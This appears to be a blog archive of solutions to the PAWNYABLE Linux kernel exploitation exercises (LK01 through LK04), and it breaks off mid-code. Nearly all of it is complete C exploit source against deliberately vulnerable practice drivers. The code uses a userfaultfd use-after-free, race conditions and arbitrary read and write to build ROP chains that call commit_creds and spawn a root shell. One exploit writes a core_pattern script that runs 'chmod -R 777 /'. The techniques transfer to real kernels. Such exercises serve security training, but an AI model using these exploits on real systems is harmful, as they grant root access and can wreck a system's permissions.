PAWNYABLE LK04: Fleckvieh


LK04: Fleckvieh

Using userfaultfd

      #define _GNU_SOURCE
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>

#define VULN_DEVICE_NAME "fleckvieh"
#define VULN_DEV_CMD_ADD 0xf1ec0001
#define VULN_DEV_CMD_DEL 0xf1ec0002
#define VULN_DEV_CMD_GET 0xf1ec0003
#define VULN_DEV_CMD_SET 0xf1ec0004
#define VULN_DEV_MAX_SIZE 0x1000

#define KERNEL_BASE 0xffffffff81000000
#define TTY_STRUCT_MAGIC 0x100005401llu
#define TTY_STRUCT_OPS_OFFSET (0xffffffff81c3c3c0 - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET (0xffffffff8109b13a - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8109b0ed - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff810729d0 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff81022fe3 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff81654bdb - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff81072830 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
  printf(
      "[*] user_cs: 0x%016lx, user_ss: 0x%016lx, user_sp: 0x%016lx, "
      "user_rflags: "
      "0x%016lx\n",
      user_cs, user_ss, user_sp, user_rflags);
}
static void get_shell() {
  puts("[+] Get shell!");
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  execve("/bin/sh", argv, envp);
}

int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) {
    fatal("ioctl(UFFDIO_API)");
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) {
    fatal("ioctl(UFFDIO_REGISTER)");
  }

  if (pthread_create(&th, NULL, handler, (void*)(uint64_t)uffd) < 0) {
    fatal("pthread_create");
  }

  return uffd;
}

typedef struct {
  int id;
  size_t size;
  char* data;
} request_t;

int vuln_fd = -1;
long vuln_blob_add(size_t size, void* data) {
  request_t req = {.id = 0, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_ADD, &req);
}
long vuln_blob_del(int id) {
  request_t req = {.id = id, .size = 0, .data = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DEL, &req);
}
long vuln_blob_get(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_GET, &req);
}
long vuln_blob_set(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_SET, &req);
}

cpu_set_t target_cpu;
char char_buf[VULN_DEV_MAX_SIZE];
uint64_t* uint64_buf = (uint64_t*)char_buf;
int vuln_id = -1;
enum vuln_operation_type {
  NONE = 0,
  UAF_READ = 1,
  UAF_WRITE = 2,
} vuln_operation_type;
const char* vuln_spray_dev_name;
int vuln_spray_flags;
int vuln_spray_fds[0x1000];
int vuln_spray_cnt;
static void* userfault_handler(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &target_cpu)) {
    fatal("sched_setaffinity");
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal("userfault_handler: mmap");
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  puts("[*] userfault_handler: waiting for page fault...");
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&pollfd, 1, -1) > 0) {
    if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) {
      fatal("userfault_handler: poll");
    }

    if (read(uffd, &msg, sizeof(msg)) <= 0) {
      fatal("userfault_handler: read(uffd)");
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal("userfault_handler: msg.event != UFFD_EVENT_PAGEFAULT");
    }

    printf("[*] userfault_handler: addr=0x%llx, flag=0x%llx\n",
           msg.arg.pagefault.address, msg.arg.pagefault.flags);

    switch (vuln_operation_type) {
      case NONE:
        break;
      case UAF_READ:
        vuln_blob_del(vuln_id);

        for (int i = 0; i < vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] < 0) {
            fatal("userfault_handler: open(vuln_spray_dev_name)");
          }
        }

        copy.src = (uint64_t)page;
        break;
      case UAF_WRITE:
        vuln_blob_del(vuln_id);

        for (int i = 0; i < vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] < 0) {
            fatal("userfault_handler: open(vuln_spray_dev_name)");
          }
        }

        copy.src = (uint64_t)char_buf;
        break;
      default:
        fatal("switch(vuln_operation_type)");
        break;
    }
    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &copy) < 0) {
      fatal("userfault_handler: ioctl(UFFDIO_COPY)");
    }
  }
  return NULL;
}

void close_sprays() {
  for (int i = 0; i < vuln_spray_cnt; ++i) {
    close(vuln_spray_fds[i]);
    vuln_spray_fds[i] = 0;
  }
}
void uaf_read(void* out, size_t read_size, size_t chunk_size,
              const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_READ;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal("uaf_read: mmap");
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  vuln_blob_get(vuln_id, read_size, page);
  vuln_operation_type = NONE;

  memcpy(out, page, read_size);

  munmap(page, 0x1000);
}
void uaf_write(void* src, size_t write_size, size_t chunk_size,
               const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_WRITE;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal("uaf_read: mmap");
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  memcpy(char_buf, src, write_size);
  vuln_blob_set(vuln_id, write_size, page);
  vuln_operation_type = NONE;

  munmap(page, 0x1000);
}

uint64_t kernel_base, heap_addr;

int main() {
  CPU_ZERO(&target_cpu);
  CPU_SET(0, &target_cpu);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &target_cpu)) {
    fatal("sched_setaffinity");
  }
  save_state();

  vuln_fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (vuln_fd < 0) {
    fatal("open vuln_device");
  }

  uaf_read(char_buf, 0x20, 0x400, "/dev/ptmx", 0x10, O_RDONLY | O_NOCTTY);
  kernel_base = uint64_buf[3] - TTY_STRUCT_OPS_OFFSET;
  if (kernel_base < 0xffffffff81000000 || kernel_base > 0xffffffffc0000000) {
    fatal("kernel_base");
  }
  printf("[+] kernel_base: 0x%016lx\n", kernel_base);
  close_sprays();

  uaf_read(char_buf, 0x50, 0x400, "/dev/ptmx", 0x10, O_RDONLY | O_NOCTTY);
  heap_addr = uint64_buf[9] - 0x48;
  printf("[+] heap_addr: 0x%016lx\n", heap_addr);
  close_sprays();

  void* rop_buf = malloc(0x1000);
  uint64_t* rop = (uint64_t*)rop_buf;
  *rop++ = PUSH_RDX_CMP_EAX_POP_RSP_RBP;
  *rop++ = POP_RDI;
  *rop++ = 0;
  *rop++ = PREPARE_KERNEL_CRED;
  *rop++ = POP_RCX;
  *rop++ = 0;
  *rop++ = MOV_RDI_RAX_REP;
  *rop++ = COMMIT_CREDS;
  *rop++ = BYPASS_KPTI;
  *rop++ = 0xdeadbeefcafe0000;
  *rop++ = 0xdeadbeefcafe0001;
  *rop++ = (uint64_t)get_shell;
  *rop++ = (uint64_t)user_cs;
  *rop++ = (uint64_t)user_rflags;
  *rop++ = (uint64_t)user_sp;
  *rop++ = (uint64_t)user_ss;
  for (int i = 0; i < 0x100; ++i) {
    vuln_blob_add(0x400, rop_buf);
  }

  uint64_buf[0] = TTY_STRUCT_MAGIC;
  uint64_buf[3] = heap_addr - 0x0c * 8;
  uaf_write(char_buf, 0x20, 0x400, "/dev/ptmx", 0x10, O_RDONLY | O_NOCTTY);
  for (int i = 0; i < 0x10; ++i) {
    ioctl(vuln_spray_fds[i], 0, heap_addr);
  }

  close(vuln_fd);

  return 0;
}

Using FUSE

Since I cannot build test code with FUSE2 and the flow of exploit is same when using userfaultfd, I skip this part.

Read more →

PAWNYABLE LK03: Dexter


LK03 (Dexter)

      #include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>

#define VULN_DEV_DEVICE_NAME "dexter"
#define VULN_DEV_BUFFER_SIZE 0x20
#define VULN_DEV_CMD_GET 0xdec50001
#define VULN_DEV_CMD_SET 0xdec50002

#define KERNEL_BASE 0xffffffff81000000
#define SEQ_OPERATIONS_START 0xffffffff81170f80
#define SEQ_OPERATIONS_START_OFFSET (SEQ_OPERATIONS_START - KERNEL_BASE)
#define FAKE_STACK_ADDRESS (0xf6000000)
#define MOV_ESP_0xf6000000_OFFSET (0xffffffff81520224 - KERNEL_BASE)
#define MOV_ESP_0xf6000000 (kernel_base + MOV_ESP_0xf6000000_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8109b0cd - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff810729b0 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff8110d88b - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8163d0ab - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff81072810 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

static void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
  printf(
      "[*] user_cs: 0x%016lx, user_ss: 0x%016lx, user_sp: 0x%016lx, "
      "user_rflags: "
      "0x%016lx\n",
      user_cs, user_ss, user_sp, user_rflags);
}
static void get_shell() {
  puts("[+] Get shell!");
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  execve("/bin/sh", argv, envp);
}

typedef struct {
  char* ptr;
  size_t len;
} request_t;

static int vuln_dev_fd = -1;
static request_t vuln_dev_req = {
    0,
};
static int vuln_dev_set(void* ptr, size_t len) {
  vuln_dev_req.ptr = ptr;
  vuln_dev_req.len = len;
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_SET, &vuln_dev_req);
}
static int vuln_dev_get(void* ptr, size_t len) {
  vuln_dev_req.ptr = ptr;
  vuln_dev_req.len = len;
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_GET, &vuln_dev_req);
}

static int race_success = 0;
static void* vuln_dev_race(void* arg) {
  const size_t len = (size_t)arg;
  while (!race_success) {
    vuln_dev_req.len = len;
    usleep(1);
  }
  return NULL;
}
static void vuln_dev_oob_read(void* out, size_t len) {
  if (len <= VULN_DEV_BUFFER_SIZE) {
    vuln_dev_get(out, len);
    return;
  }

  pthread_t th;
  race_success = 0;
  const uint64_t cur_rand_val = 0xdeadbeefcafebebe + rand();
  *(uint64_t*)(out + VULN_DEV_BUFFER_SIZE) = cur_rand_val;
  pthread_create(&th, NULL, &vuln_dev_race, (void*)len);
  while (!race_success) {
    if (vuln_dev_get(out, VULN_DEV_BUFFER_SIZE)) {
      continue;
    }
    if (*(uint64_t*)(out + VULN_DEV_BUFFER_SIZE) != cur_rand_val) {
      race_success = 1;
    }
  }
  pthread_join(th, NULL);
}
static void vuln_dev_oob_write(void* data, size_t len) {
  if (len <= VULN_DEV_BUFFER_SIZE) {
    vuln_dev_set(data, len);
    return;
  }

  pthread_t th;
  race_success = 0;
  const uint64_t cur_rand_val = 0xdeadbeefcafebebe + rand();
  void* tmp = malloc(len);
  *(uint64_t*)(tmp + VULN_DEV_BUFFER_SIZE) = cur_rand_val;
  pthread_create(&th, NULL, &vuln_dev_race, (void*)len);
  while (!race_success) {
    if (vuln_dev_set(data, VULN_DEV_BUFFER_SIZE)) {
      continue;
    }

    while (1) {
      if (vuln_dev_get(tmp, VULN_DEV_BUFFER_SIZE)) {
        continue;
      }
      if (*(uint64_t*)(tmp + VULN_DEV_BUFFER_SIZE) != cur_rand_val) {
        break;
      }
    }

    if (!memcmp(tmp, data, len)) {
      race_success = 1;
    }
  }
  free(tmp);
  pthread_join(th, NULL);
}

static uint64_t kernel_base = 0;

int main() {
  char char_buf[0x800];
  uint64_t* uint64_buf = (uint64_t*)char_buf;
  srand(time(NULL));
  save_state();

  int seq_ops_spray[800] = {
      0,
  };
  for (int i = 0; i < sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]) / 2;
       ++i) {
    seq_ops_spray[i] = open("/proc/self/stat", O_RDONLY);
  }
  vuln_dev_fd = open("/dev/" VULN_DEV_DEVICE_NAME, O_RDONLY);
  if (vuln_dev_fd < 0) {
    fatal("open " VULN_DEV_DEVICE_NAME);
  }
  for (int i = sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]) / 2;
       i < sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    seq_ops_spray[i] = open("/proc/self/stat", O_RDONLY);
  }

  int seq_ops_start_idx = -1;
  vuln_dev_oob_read(char_buf, sizeof(char_buf));
  for (int i = 0; i < sizeof(char_buf) / sizeof(uint64_t); ++i) {
    if ((uint64_buf[i] & SEQ_OPERATIONS_START_OFFSET) ==
        SEQ_OPERATIONS_START_OFFSET) {
      kernel_base = uint64_buf[i] - SEQ_OPERATIONS_START_OFFSET;
      seq_ops_start_idx = i;
      break;
    }
  }
  if (seq_ops_start_idx == -1 || kernel_base == 0 ||
      (kernel_base & 0xFFFFF) != 0) {
    fatal("kernel_base");
  }
  printf("[+] kernel_base: 0x%16lx @ idx: %d\n", kernel_base,
         seq_ops_start_idx);

  void* fake_stack = mmap(
      (void*)(FAKE_STACK_ADDRESS - 0x8000), 0x10000, PROT_READ | PROT_WRITE,
      MAP_POPULATE | MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

  uint64_t* rop = (uint64_t*)(FAKE_STACK_ADDRESS);
  *rop++ = POP_RDI;
  *rop++ = 0;
  *rop++ = PREPARE_KERNEL_CRED;
  *rop++ = POP_RCX;
  *rop++ = 0;
  *rop++ = MOV_RDI_RAX_REP;
  *rop++ = COMMIT_CREDS;
  *rop++ = BYPASS_KPTI;
  *rop++ = 0xdeadbeefcafebe01;
  *rop++ = 0xdeadbeefcafebe02;
  *rop++ = (uint64_t)(get_shell);
  *rop++ = (uint64_t)(user_cs);
  *rop++ = (uint64_t)(user_rflags);
  *rop++ = (uint64_t)(user_sp);
  *rop++ = (uint64_t)(user_ss);

  uint64_buf[seq_ops_start_idx] = MOV_ESP_0xf6000000;
  vuln_dev_oob_write(uint64_buf, 8 * (seq_ops_start_idx + 1));

  for (int i = 0; i < sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    read(seq_ops_spray[i], char_buf, 0x100);
  }

  for (int i = 0; i < sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    close(seq_ops_spray[i]);
  }

  return 0;
}

Exercise (with SMAP)

I tried writing exploit code with SMAP enabled. But I failed. I think that any registers cannot be controlled when using seq_operations to control RIP.

Read more →

PAWNYABLE LK02: Angus


LK02 (Angus)

      #include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/param.h>

#define VULN_DEVICE_NAME "angus"
#define VULN_DEVICE_MAX_LEN 0x1000
#define VULN_CMD_INIT 0x13370001
#define VULN_CMD_SETKEY 0x13370002
#define VULN_CMD_SETDATA 0x13370003
#define VULN_CMD_GETDATA 0x13370004
#define VULN_CMD_ENCRYPT 0x13370005
#define VULN_CMD_DECRYPT 0x13370006

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000

#define CORE_PATTERN_OFFSET (0xeb1820)

static void fatal(const char *msg) {
  perror(msg);
  exit(-1);
}

typedef struct {
  char *key;
  char *data;
  size_t keylen;
  size_t datalen;
} XorCipher;

typedef struct {
  char *ptr;
  size_t len;
} request_t;

int vuln_dev_fd = -1;
static uint64_t vuln_dev_init() {
  request_t req = {.ptr = NULL, .len = 0};
  return ioctl(vuln_dev_fd, VULN_CMD_INIT, &req);
}
static uint64_t vuln_dev_setkey(void *key, size_t key_len) {
  request_t req = {.ptr = key, .len = key_len};
  return ioctl(vuln_dev_fd, VULN_CMD_SETKEY, &req);
}
static uint64_t vuln_dev_setdata(void *data, size_t data_len) {
  request_t req = {.ptr = data, .len = data_len};
  return ioctl(vuln_dev_fd, VULN_CMD_SETDATA, &req);
}
static uint64_t vuln_dev_getdata(void *out, size_t out_len) {
  request_t req = {.ptr = out, .len = out_len};
  return ioctl(vuln_dev_fd, VULN_CMD_GETDATA, &req);
}
static uint64_t vuln_dev_xor() {
  request_t req = {.ptr = NULL, .len = 0};
  return ioctl(vuln_dev_fd, VULN_CMD_ENCRYPT, &req);
}

static void *fake_xor_cipher_mem = (void *)-1;
const size_t fake_xor_cipher_mem_size = 0x2000;
static XorCipher *fake_xor_cipher = (void *)-1;
static XorCipher *make_fake_xor_cipher() {
  fake_xor_cipher_mem =
      mmap(0, fake_xor_cipher_mem_size, PROT_READ | PROT_WRITE,
           MAP_FIXED | MAP_POPULATE | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (fake_xor_cipher_mem < 0) {
    fatal("mmap");
  }

  fake_xor_cipher = (XorCipher *)fake_xor_cipher_mem;
  return fake_xor_cipher;
}
static void AAR(void *out, uint64_t addr, size_t len) {
  fake_xor_cipher->data = (void *)addr;
  fake_xor_cipher->datalen = len;
  vuln_dev_getdata(out, len);
}
static uint64_t AAR64(uint64_t addr) {
  uint64_t ret = 0;
  AAR(&ret, addr, 8);
  return ret;
}
static void AAW(const void *data, uint64_t addr, size_t len) {
  uint8_t *val = (uint8_t *)(fake_xor_cipher_mem + VULN_DEVICE_MAX_LEN);
  const uint8_t *src = (const void *)data;
  fake_xor_cipher->key = val;
  while (len != 0) {
    const size_t step_len = MIN(VULN_DEVICE_MAX_LEN, len);

    AAR(val, addr, step_len);
    for (int i = 0; i < step_len; ++i) {
      val[i] ^= *src++;
    }
    fake_xor_cipher->data = (void *)addr;
    fake_xor_cipher->datalen = step_len;
    fake_xor_cipher->keylen = step_len;
    vuln_dev_xor();

    addr += step_len;
    len -= step_len;
  }
}
static void AAW64(uint64_t addr, uint64_t val) { AAW(&val, addr, 8); }
static uint64_t leak_kernel_base() {
  for (uint64_t addr = KERNEL_BASE_START; addr <= KERNEL_BASE_END;
       addr += 0x100000) {
    uint64_t val = AAR64(addr);
    if (val == 0x4800e03f51258d48) {
      return addr;
    }
  }
  return (uint64_t)-1;
}

int main() {
  vuln_dev_fd = open("/dev/" VULN_DEVICE_NAME, O_RDONLY);
  if (vuln_dev_fd < 0) {
    fatal("open vuln_dev");
  }
  make_fake_xor_cipher();

  uint64_t kernel_base = leak_kernel_base();
  if (kernel_base == (uint64_t)-1) {
    fatal("kernel_base");
  }
  printf("[+] kernel_base: %p\n", (void *)kernel_base);
  printf("[*] core_pattern: %p\n", (void *)(kernel_base + CORE_PATTERN_OFFSET));

  system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/evil.sh");
  system("chmod +x /tmp/evil.sh");
  const char kCorePattern[] = "|/tmp/evil.sh";
  const size_t kCorePatternLen = strlen(kCorePattern);
  AAW(kCorePattern, kernel_base + CORE_PATTERN_OFFSET, kCorePatternLen);
  system("ulimit -c unlimited");
  uint64_t *evil_ptr = (uint64_t *)0xdeadbeefcafebebe;
  *evil_ptr = 0xdeadbeefcafebebe;

  munmap(fake_xor_cipher_mem, fake_xor_cipher_mem_size);
  return 0;
}

Reference

Read more →

PAWNYABLE LK01: Holstein


LK01-1 (Holstein v1: Stack Overflow)

      #include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define USER_LOG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define PREPARE_KERNEL_CRED 0xffffffff8106e240
#define COMMIT_CREDS 0xffffffff8106e390

uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
#if USER_LOG == 1
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  puts("[+] Get shell!");
  execve("/bin/sh", argv, envp);
}

static void restore_state() {
  asm volatile(
      "swapgs;\n"
      "mov qword ptr [rsp+0x20], %[u_ss];\n"
      "mov qword ptr [rsp+0x18], %[u_sp];\n"
      "mov qword ptr [rsp+0x10], %[u_rflags];\n"
      "mov qword ptr [rsp+0x08], %[u_cs];\n"
      "mov qword ptr [rsp+0x00], %[u_ret];\n"
      "iretq;\n" ::[u_cs] "r"(user_cs),
      [u_ss] "r"(user_ss), [u_sp] "r"(user_sp), [u_rflags] "r"(user_rflags),
      [u_ret] "r"(get_shell));
}

static void escalate_privilege() {
  void* (*prepare_kernel_cred)(int) = (void*)(PREPARE_KERNEL_CRED);
  void (*commit_creds)(char*) = (void*)(COMMIT_CREDS);
  commit_creds(prepare_kernel_cred(0));
  restore_state();
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    return -1;
  }
  save_state();

  {
    memset(buf, 'A', VULN_BUFFER_SIZE);
    uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
    *rop_buf++ = 0xdeadbeefcafebebe;
    *rop_buf++ = (uint64_t)(escalate_privilege);
  }
  write(fd, buf, VULN_BUFFER_SIZE + 0x10);
  return 0;
}
      #include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define USER_LOG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff8106e240 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff8106e390 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)

uint64_t kernel_base;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
#if USER_LOG == 1
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  puts("[+] Get shell!");
  execve("/bin/sh", argv, envp);
}

static void restore_state() {
  asm volatile(
      "swapgs;\n"
      "mov qword ptr [rsp+0x20], %[u_ss];\n"
      "mov qword ptr [rsp+0x18], %[u_sp];\n"
      "mov qword ptr [rsp+0x10], %[u_rflags];\n"
      "mov qword ptr [rsp+0x08], %[u_cs];\n"
      "mov qword ptr [rsp+0x00], %[u_ret];\n"
      "iretq;\n" ::[u_cs] "r"(user_cs),
      [u_ss] "r"(user_ss), [u_sp] "r"(user_sp), [u_rflags] "r"(user_rflags),
      [u_ret] "r"(get_shell));
}

static void escalate_privilege() {
  void* (*prepare_kernel_cred)(int) = (void*)(PREPARE_KERNEL_CRED);
  void (*commit_creds)(char*) = (void*)(COMMIT_CREDS);
  commit_creds(prepare_kernel_cred(0));
  restore_state();
}

static __attribute__((naked)) void get_kernel_base_and_escalate_privilege() {
  asm("mov %[k_base], qword ptr [rsp];\n" : [k_base] "=r"(kernel_base));
  kernel_base -= 0x1506B9;
  asm("jmp %[escalate_privilege];\n"
      :
      : [escalate_privilege] "i"(escalate_privilege));
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    return -1;
  }
  save_state();

  {
    memset(buf, 'A', VULN_BUFFER_SIZE);
    uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
    *rop_buf++ = 0xdeadbeefcafebebe;
    *rop_buf++ = (uint64_t)(get_kernel_base_and_escalate_privilege);
  }
  write(fd, buf, VULN_BUFFER_SIZE + 0x10);
  return 0;
}
      #include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define USER_LOG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define POP_RDI 0xffffffff8127bbdc
#define PREPARE_KERNEL_CRED 0xffffffff8106e240
#define XOR_RCX_RCX 0xffffffff810abef0
#define MOV_RDI_RAX_REP 0xffffffff8160c96b
#define COMMIT_CREDS 0xffffffff8106e390
#define SWAPGS 0xffffffff8160bf7e
#define IRETQ 0xffffffff810202af

uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
#if USER_LOG == 1
  printf(
